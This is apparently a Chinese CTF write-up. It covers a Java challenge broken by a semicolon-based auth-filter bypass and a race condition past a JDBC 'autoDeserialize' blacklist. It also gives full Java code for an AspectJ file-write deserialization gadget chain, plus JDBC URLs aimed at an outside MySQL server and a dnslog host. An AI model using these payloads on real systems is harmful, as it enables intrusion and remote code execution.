题目给出了源码。首先导入到idea。其中有各种问题。。跟着百度该配置就行了
可以看到源码中目录结构如下
checker
黑名单的check
filter
filter类
launch
main类
logger
日志类
servlet
web类
pom.xml
首先看下pom.xml的依赖。可以知道这是个内嵌tomcat的web应用。并且带Mysql依赖
继续看Servlet的adminServlet
跟进checker。发现是关键字检测
public String[] blackList = new String[] {"%", "autoDeserialize"};
再看看filter。对admin下有没有啥过滤。找到了LoginFilter
匹配/admin/*。输入password,password正确才会放行
然而这里我们并不知道password是啥。
现在的要求就是要访问/admin/importdata。但是又不能让/admin filter匹配到
filter下有这么多类。咋判断优先级呢。一般来说。有个webconfig类或者web.xml来配置。但是这里都没有。那就根据A-Z的顺序来
继续看filter
csrffilter 没用
urlfilter 替换了字符
xssfilter 添加了http返回头
logfilter 没用
loginfilter 判断密码
nocache 添加了http返回头
看起来只有urlfilter有点用。跟进
欸这,第一层绕过不就有了吗
首先进入URLfilter。把;替换为空。然后直接转发到了目标的路由
比如输入/admin;/importdata
经过Urlfilter。替换为空。变成/admin/importdata
然后去匹配。匹配到了Adminservlet的路由。直接转发。都不会经过Loginfilter的password验证
第一部分完结~~~~
第二部分绕过AutoDeserialize
看梅子酒师傅的解释就够了。
https://mp.weixin.qq.com/s/GxFFBekqSl5BOnzAKFGBDQ
简单来说就是某个线程将url绑定到this.toBeChecked的时候。假设这是恶意的线程。刚绑定完。准备check的时候。欸。来了个正常的线程。把正常的jdbcurl往上绑定了。这时候就过了check。恶意的线程就得以往下执行
/;admin/importData?jdbcUrl=jdbc%3amysql%3a%2f%2f0.0.0.0%3a3306%2fmysql%3fcharacterEncoding%3dutf8%26useUnicode%3dtrue%26useSSL%3dfalse&databaseType=mysql
/;admin/importData?jdbcUrl=jdbc%3amysql%3a%2f%2f119.45.155.77%3a3306%2fmysql%3fcharacterEncoding%3dutf8%26useUnicode%3dtrue%26useSSL%3dfalse%26statementInterceptors%3dcom.mysql.jdbc.interceptors.ServerStatusDiffInterceptor%26autoDeserialize%3dtrue%26user%3dyso_URLDNS_http://1n4jm9.dnslog.cn&databaseType=mysql
我用BURP复现的时候有个坑。就是正常请求。由于要去请求。所以会比较卡。而恶意请求。check过不去就请求比较快。需要把正常请求的进程数调高点
第三部分:FileWrite Gadget
简单来说。就是用pom.xml中的aspectjweaver组件。jdbc反序列化。写入恶意class到classpath。然后jdbc再反序列化一个恶意对象。就会在classpath里找。找到了。执行它的readobject。我们可以重写readobject方法。导致恶意代码执行
Gadget分析
这个链子原来是依赖CommonsCollections组件的。但是环境中并没有。给出了一个DataMap类。
先放exp
package launch;
import checker.DataMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* @author Lucifaer
* @version 3.0
* <p>
* Gadget chain:
* HashSet.readObject()
* HashMap.put()
* HashMap.hash()
* DataMap.Entry.hashCode()
* DataMap.Entry.getValue()
* DataMap.get()
* SimpleCache$StorableCachingMap.put()
* SimpleCache$StorableCachingMap.writeToPath()
* FileOutputStream.write()
*/
public class test {
public static Serializable getGadget() throws Exception {
byte[] content_byte = Files.readAllBytes(new File("C:\\Users\\Administrator\\Downloads\\fg实验室\\target\\classes\\launch\\Exp.class").toPath());
String file_name = "../../../../../../../../../../../../../../aaaaaaa.class";
Constructor aspectjConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructors()[0];
aspectjConstructor.setAccessible(true);
Object simpleCache = aspectjConstructor.newInstance(".", 12);
HashMap wrapperMap = new HashMap();
wrapperMap.put(file_name, content_byte);
DataMap dataMap = new DataMap(wrapperMap, (Map) simpleCache);
Constructor entryConstructor = Class.forName("checker.DataMap$Entry").getDeclaredConstructors()[0];
entryConstructor.setAccessible(true);
Object entry = entryConstructor.newInstance(dataMap, file_name);
/*
从这开始。就是构造入口了。要了解HashSet其实是基于Hashmap的一个。而Hashmap又是基于hash表的的一个key value。所以。这里要先反射。得到HashSet的Map。其实就是一个Hashmap类。然后再基于这个map。获取里面的hash表。再把里面的key。也就是foo改为我们的object
*/
HashSet map = new HashSet(1);
map.add("foo");
Field field = null;
try {
field = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
field = HashSet.class.getDeclaredField("backingMap");
}
field.setAccessible(true);
HashMap innimpl = (HashMap) field.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object.obj"));
o.writeObject(map);
o.flush();
o.close();
Exp exp = new Exp();
ObjectOutputStream ox = new ObjectOutputStream(new FileOutputStream("Exp.obj"));
ox.writeObject(exp);
return map;
}
public static void main(String[] args) throws Exception {
getGadget();
}
}
idea动调有点问题。不知道为啥。。。。。
直接静态看了
入口点在于HashSet类重写的readobject方法
这里s就是我们反序列化的恶意对象。然后调用了HashMap的put方法,把恶意对象和一个占位的空object带入了
这里key。就是我们的恶意对象。可以看到又带入了HashMap的hash方法
这里调用了恶意对象的hashCode方法。根据exp。这个传入的恶意对象。应该是DataMap$Entry
。继续追hashcode方法。
跟着调用图。直接看this.getValue()
然后调用了DataMap的get方法。this.key。这个值我们可控。传入要写入的文件名
如果this.values不为nulll。就从this.values.get(key)。通过this.values的get方法根据key来获取内容。有点像php的$this->values->get
这里把this.values设置为SimpleCache类。也就是调用了SimpleCache('文件名')
这里会去父类找有没有指定的键名。父类当然是没有'../../../../../xxx.class'这种的键名了
所以会返回null
接着回来,v等于null。v就等于v = this.wrapperMap.get(key)。最后呢。会带入this.values.put(key, v);
emmmm。先说一下。后面的利用是SimpleeCache$StoreableCachingMap.put(文件名,内容)
即可写入文件。
所以。这是不是又有点像$this->values->put(key,v)
呢。这里把this.values设置为SimpleeCache$StoreableCachingMap
类即可。然后key呢。就是我们一直传下来的文件名,内容呢。this.wrapperMap.get(key);
。那么wrapperMap就为HashMap类。成了HashMap.get('文件名')
。根据文件名获得内容。我们只要在构造exp的时候。给他塞一个文件名,文件内容对应的map就行了
至此。最难的部分完结了。继续看SimpleeCache$StoreableCachingMap的put方法
大致就是这样。有错误烦请大师父们指正
接下来。就是利用了。
利用这个写文件的Gadget配合jdbc反序列化往classpath里写入exp.class。里面是重写了readobject方法的恶意类字节码
然后呢。再配合jdbc反序列化。发送一个恶意类过去。这时候就会在classpath里找对应的class。找到了。触发重写的readobject。执行里面的恶意代码。至此完结
根据链子写出Exp
package launch;
import checker.DataMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class myexp implements Serializable {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchFieldException {
Constructor aspectjConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructors()[0];
aspectjConstructor.setAccessible(true);
HashMap wrapperMap = new HashMap();
byte[] content_byte = Files.readAllBytes(new File("C:\\Users\\Administrator\\Downloads\\fg实验室\\target\\classes\\launch\\Exp.class").toPath());
String file_name = "../../../../../../../../../../../exp.class";
wrapperMap.put(file_name, content_byte);
// HashMap类。文件名->文件内容
Object simpleCache = aspectjConstructor.newInstance(".", 12);
Constructor entryConstructor = Class.forName("checker.DataMap$Entry").getDeclaredConstructors()[0];
entryConstructor.setAccessible(true);
DataMap dataMap = new DataMap( wrapperMap,(Map) simpleCache);
//DataMap$Entry的this.values SimpleeCache$StoreableCachingMap类 this.wrapperMap DataMap$Entry类
Object entry = entryConstructor.newInstance(dataMap,"../../../../../../../../../../../exp.class");
//DataMap$Entry的this.key 文件名
HashSet map = new HashSet(1);
map.add("foo");
Field field = null;
try {
field = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
field = HashSet.class.getDeclaredField("backingMap");
}
field.setAccessible(true);
HashMap innimpl = (HashMap) field.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("aaaaa.obj"));
o.writeObject(map);
o.flush();
o.close();
System.out.println(map);
}
}